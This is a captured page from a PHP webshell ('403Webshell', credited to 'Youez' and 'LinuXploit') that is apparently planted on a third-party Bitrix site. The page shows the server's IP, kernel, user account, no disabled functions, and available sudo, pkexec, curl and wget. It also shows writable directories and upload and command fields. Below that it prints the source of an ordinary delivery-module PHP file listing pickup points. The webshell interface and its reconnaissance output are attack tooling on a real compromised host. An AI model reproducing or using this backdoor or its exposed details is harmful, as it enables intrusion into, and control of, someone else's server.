403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lpost.delivery/lib/main/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lpost.delivery/lib/main/pvz.php
<?php

namespace Lpost\Delivery\Main;


use Bitrix\Main\Config\Option;
use Bitrix\Main\Web\Json;
use Lpost\Delivery\Repository\RepositoryPvz;
use Lpost\Delivery\Settings;

class Pvz extends Base
{
    protected static $tableName = 'PvzTable';


    public static function getPvz($data)
    {
        return \Lpost\Delivery\Entity\PvzTable::getList([
            'select' => [
                "id",
                "id_pickup",
                "coord_lat",
                "coord_long",
                "address",
                "day_logistic",
                "pickup_dop",
                "time_work",
                "is_cash",
                "is_card",
                "params",
                "metro"
            ],
            'order'  => [
                "id_pickup" => "asc"
            ],
            'filter' => $data,
            'limit'  => 1
        ])->fetch();
    }

    /**
     * @param $cityID
     * @return string json
     */
    public static function getListPvzByCityId($cityID)
    {
        $cityData = City::getCityData($cityID);
        
        $repositoryPvz = new RepositoryPvz();
        $resPvz = $repositoryPvz->getListForMap($cityData['name']);
        
        if(empty($resPvz)){
            
            if(!empty($cityData['arCityData']['MAIN_CITY_REGION']))
                $resPvz = $repositoryPvz->getListForMap($cityData['arCityData']['MAIN_CITY_REGION']);
        }

        return Json::encode([
            "city"     => [
                "name" => $cityData['name'],
                "lat"  => $cityData['coord_lat'],
                "long" => $cityData['coord_long']
            ],
            "pvz_list" => $resPvz
        ]);
    }

    public static function getPvzByCityId($cityCode)
    {
        $cityData = City::getCityData($cityCode);
        
        $arFilter = [
            "city_name"   => $cityData['name'],
            "!coord_lat"  => 0,
            "!coord_long" => 0,
            "active" => 'Y',
            "!id_pickup" => 0,
        ];
        $arPvz = self::getPvz($arFilter);
        
        if(empty($arPvz)){
            unset($arFilter['!id_pickup']);
            $arPvz = self::getPvz($arFilter);
        }
        
        if(empty($arPvz['pvz']['id_pickup'])){
            
            // ����� �������� ����� �������
            if(empty($arPvz) && isset($cityData['arCityData']['MAIN_CITY_REGION'])){
                $arFilter['city_name'] = $cityData['arCityData']['MAIN_CITY_REGION'];
                $arFilter['!id_pickup'] = 0;
                $arPvz = self::getPvz($arFilter);
            }
        }
        
        // \Bitrix\Main\Diag\Debug::writeToFile(
            // ['cityCode' => $cityCode, 'arPvz' => $arPvz],
            // date("d.m.Y H:i:s"). 'getPvzByCityId arPvz',
            // "/bitrix/php_interface/lpost.delivery.all.txt"
        // );

        return [
            "city" => [
                "name" => $cityData['name'],
                "lat"  => $cityData['coord_lat'],
                "long" => $cityData['coord_long']
            ],
            "pvz"  => $arPvz
        ];
    }

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit